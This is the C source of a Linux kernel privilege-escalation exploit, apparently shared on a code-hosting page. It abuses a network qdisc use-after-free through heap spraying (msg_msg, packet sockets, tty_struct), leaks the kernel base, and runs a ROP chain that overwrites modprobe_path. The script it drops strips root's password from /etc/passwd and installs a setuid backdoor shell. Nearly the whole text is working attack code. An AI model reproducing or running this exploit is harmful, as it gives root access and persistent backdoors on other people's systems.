  // Need to reset the socket state here otherwise it fucks up the quant leak
  // we get...
  sock_fd = setup_rtnet(&src_addr, &dest_addr);
  // g_handle = 2;
  //    Gets us a leak from the current kmalloc 2k cache
  uint32_t quant1 = get_quant(sock_fd, idx, &dest_addr, 0, 2, TC_H_ROOT);

// Fill in the holes hopefully adjacent to the child qisc and thus in range
  // of the leaks.
  for (int i = 0;
       i < sizeof(spray_socks_corruptable) / sizeof(spray_socks_corruptable[0]);
       i++) {
    //  No worky, need better objects
    spray_socks_corruptable[i] = socket(PF_PACKET, SOCK_DGRAM, 0);
    if (spray_socks_corruptable[i] < 0) {
      perror("PF_PACKET spray");
      exit(-1);
    }
  }

printf("[!] Deleting qdisc child...");

del_qdisc(sock_fd, idx, &dest_addr, 2);
  // Dont think we *need* 10 seconds, but reliability and stuff
  sleep(10);
  // sleep(6);
  uint64_t sock_target = (quant1 - 0x180 + (0x800 * 2));

printf("[*] Socket hopefully: 0x%lx\n", sock_target);
  printf("[*] skc_prot: 0x%lx\n", sock_target + 0x28);

sock_to_use = sock_fd;
  dst_addr_glb = &dest_addr;
  do_ptr_write(idx, sock_target + 0x28 - (0x800), 1, sock_fd, &dest_addr);

printf("[*] Releasing QDISC a second time lol...\n");

del_qdisc(sock_fd, idx, &dest_addr, 1);
  sleep(10);
  // sleep(6);
  close(sock_fd);

// HERE WE ALSO NEED TO DO THE STEPS FOR CROSS CACHE AGAIN...

// Now start freeing moar shit.
  // Free one obj per slab to overflow partial list
  for (int i = 0; i < TOTAL_ALLOC; i += OBJ_PER_SLAB) {
    close(junk[i]);
  }

for (int i = 0; i < PRE + POST; i++) {
    close(pre_post[i]);
  }

for (int i = 0; i < TOTAL_ALLOC; i++) {
    close(junk[i]);
  }

// MASSIVE reliability improvement
  sleep(3);
  // Shouldve discarded slab, now need to check.

// Try to reclaim with sockets
  printf("[!] Starting le big spray again...\n");
  int new_spray_sz = 0x400 - MSGSZ;
  memset(msg1, 'V', new_spray_sz);
  *(uint64_t *)(&msg1[0x180 - 0x30]) = 0;

// Now we need to try to evict the page from the percpu freelist.
  // Hopefully at this point we can get the page back in rotation.
  release_slabs(evict_slabs_p, ev_pre_post_ptr, EVICT_N, PRE, POST);

sleep(2);

// Need to be able to identify each msg
  {
    int msgsz = new_spray_sz;
    char *msgtxt = msg1;
    int spray_n = MSG_SPRAY * 2;
    int *qstore = qid1;
    int qidn = 0;
    int ret = -1;
    socklen_t len = 0;
    char mbuf[msgsz + MSGSZ];
    struct msgbuf *msg = (struct msgbuf *)mbuf;
    msgsz -= (MSGSZ);
    memcpy(msg->mtext, msgtxt, msgsz);
    for (int j = 0; j < spray_n; j++) {
      msg->mtype = MSG_SPRAY + j + 1;
      qidn = qstore[j];
      *(uint64_t *)(&msg->mtext[0x188 - 0x30]) = MSG_SPRAY + j + 1;
      if (msgsnd(qidn, msg, msgsz, 0) < 0) {
        printf("j: %d\tqid: %d\tmsgsz: 0x%x\n", j, qidn, msgsz);
        perror("msgsnd lol");
        exit(-1);
      }
    }
  }

printf("[!] Receiving...");
  char *mrecv1 = recv_msg_CPY(qid[i], NEWCOMPSZ, 1, 0);
  uint64_t seg_idx = *(uint64_t *)(&mrecv1[MSGMSGSZ + 8]);

printf("[*] Controlled seg idx: 0x%lx -> 0x%lx\n", seg_idx,
         seg_idx - (MSG_SPRAY + 1));

seg_idx -= (MSG_SPRAY + 1);
  free(mrecv1);
  mrecv1 = recv_msg(qid1[seg_idx], new_spray_sz, 0, 0);
  dumph(mrecv1, 0x10, ' ');
  free(mrecv1);

// Need moar raaaagh
  int spray_socks[0x200 - 4 - 1 + 0x50];
  for (int i = 0; i < sizeof(spray_socks) / sizeof(spray_socks[0]); i++) {
    if ((spray_socks[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY)) <= 2) {
      printf("i: %d\n", i);
      perror("tty_struct spray open");
      exit(-1);
    }
  }

mrecv1 = recv_msg_CPY(qid[i], NEWCOMPSZ, 1, 0);
  const int subtract = (5 * 0x10) - 8;
  dumph(&mrecv1[NEWCOMPSZ - (subtract)], subtract, ' ');
  uint64_t do_tty_hangup = *(uint64_t *)(&mrecv1[NEWCOMPSZ - (subtract)]);
  kbase = do_tty_hangup - 0xadde80;
  printf("[*] Kbase: %p\n", kbase);
  free(mrecv1);

// Need to do this so we can reclaim the tty_spray objects and abuse the
  // fact that we have written a second ptr.
  for (int i = 0; i < sizeof(spray_socks) / sizeof(spray_socks[0]); i++) {
    close(spray_socks[i]);
  }

sleep(2);

// Rellocate AFTER the leaks.
  {
    new_spray_sz = 0x400 - MSGSZ;
    int msgsz = new_spray_sz;
    memset(msg1, 'B', new_spray_sz);

char *msgtxt = msg1;
    int spray_n = MSG_SPRAY * 2;
    int *qstore = qid1;
    int ret = -1;
    socklen_t len = 0;
    char mbuf[msgsz + MSGSZ];
    const uint64_t mov_rsp_rax_pop_rbx_ret = kbase + 0xf95cc;
    const uint64_t pivgdg = mov_rsp_rax_pop_rbx_ret;
    const uint64_t modprobe = kbase + 0x295eb30;
    const uint64_t mov_qword_ptr_rsi_rdx_pop_rbx_ret = kbase + 0xe4fdb2;
    const uint64_t pop_rsi_ret = kbase + 0x1518;
    const uint64_t pop_rdx_ret = kbase + 0x173942;
    uint64_t user_pc = (uint64_t)&retfunc;
    // const uint64_t swapgs_return_to_usermode = kbase + 0x1401265;
    // const uint64_t swapgs_return_to_usermode = kbase + 0x140118b;
    const uint64_t swapgs_return_to_usermode = kbase + 0x1401126;
    struct msgbuf *msg = (struct msgbuf *)mbuf;
    msgsz -= (MSGSZ);
    memset(msg->mtext, 0, msgsz);
    memcpy(msg->mtext, msgtxt, msgsz);
    msg->mtype = 1;
    *(uint32_t *)(&msg->mtext[216]) = 0;
    *(uint32_t *)(&msg->mtext[0x228]) = 0;
    *(uint64_t *)(&msg->mtext[160]) = 0x4142434445464748;
    *(uint64_t *)(&msg->mtext[0x1f0]) = pivgdg;
    uint32_t write = (0x188 - 0x30) / 8;
    uint64_t *mptr = (uint64_t *)(&msg->mtext[0]);
    mptr[write++] = pop_rsi_ret;
    mptr[write++] = modprobe;
    mptr[write++] = pop_rdx_ret;
    // /tmp/ex\x00
    mptr[write++] = 0x0078652f706d742f;
    // Should hopefully skip raw_prot ptr in our payload.
    mptr[write++] = mov_qword_ptr_rsi_rdx_pop_rbx_ret;
    // Skip raw_prot
    write++;
    // Should be doing swapgs; ... iretq
    mptr[write++] = swapgs_return_to_usermode;
    // Now the arg arrangements for iretq
    mptr[write++] = 0x7777777777777777;
    mptr[write++] = 0x7777777777777777;
    mptr[write++] = user_pc;
    mptr[write++] = user_cs;
    mptr[write++] = user_rflags;
    mptr[write++] = user_sp;
    mptr[write++] = user_ss;
    // Random padding
    mptr[write++] = 0x7777777777777777;
    for (int i = 0; i < spray_n; i++) {
      if (msgsnd(qstore[i], msg, msgsz, 0) < 0) {
        printf("i: %d\tsz: 0x%x\n", i, msgsz);
        perror("msgsnd lol");
        ret = -1;
        // exit(-1);
        break;
      }
    }
  }

// One of these will (please) trigger packet_ops->release_cb and start our
  // ropchain.
  for (int i = 0;
       i < sizeof(spray_socks_corruptable) / sizeof(spray_socks_corruptable[0]);
       i++) {
    close(spray_socks_corruptable[i]);
  }
  return;
}

void setup_ns_stuff() {
  setup_namespace();
  // make_net_ns();
}

// This is a rlly rlly silly script huh
// const char mprobe_scr[] = "#!/bin/sh\nwhoami\necho \"ERM\" > /eggsdee";
const char mprobe_scr[] =
    "#!/bin/sh\nsed -i -e 's/root:x:/root::/g' /etc/passwd\necho "
    "'#!/bin/sh\\necho \"HIIII\"\\n/bin/sh' > /backdoor.sh\nchmod root:root "
    "/backdoor.sh; chmod "
    "4777 /backdoor.sh";

int main() {

int idx = if_nametoindex("eth0");
  if (!idx) {
    perror("if_nametoindex ");
  }
  printf("eth0 idx: %d\n", idx);

// Write evil shell script
  int f = open("/tmp/ex", O_CREAT | O_RDWR, S_IRWXU);
  if (f < 0) {
    perror("open mprobe scr");
    return -1;
  }
  write(f, mprobe_scr, sizeof(mprobe_scr));
  close(f);

// Save registers for when we return from kernel mode
  save_state();

setup_ns_stuff();

do_exp();
  return 0;
}

JezK

Edit File: exp_2.c

Events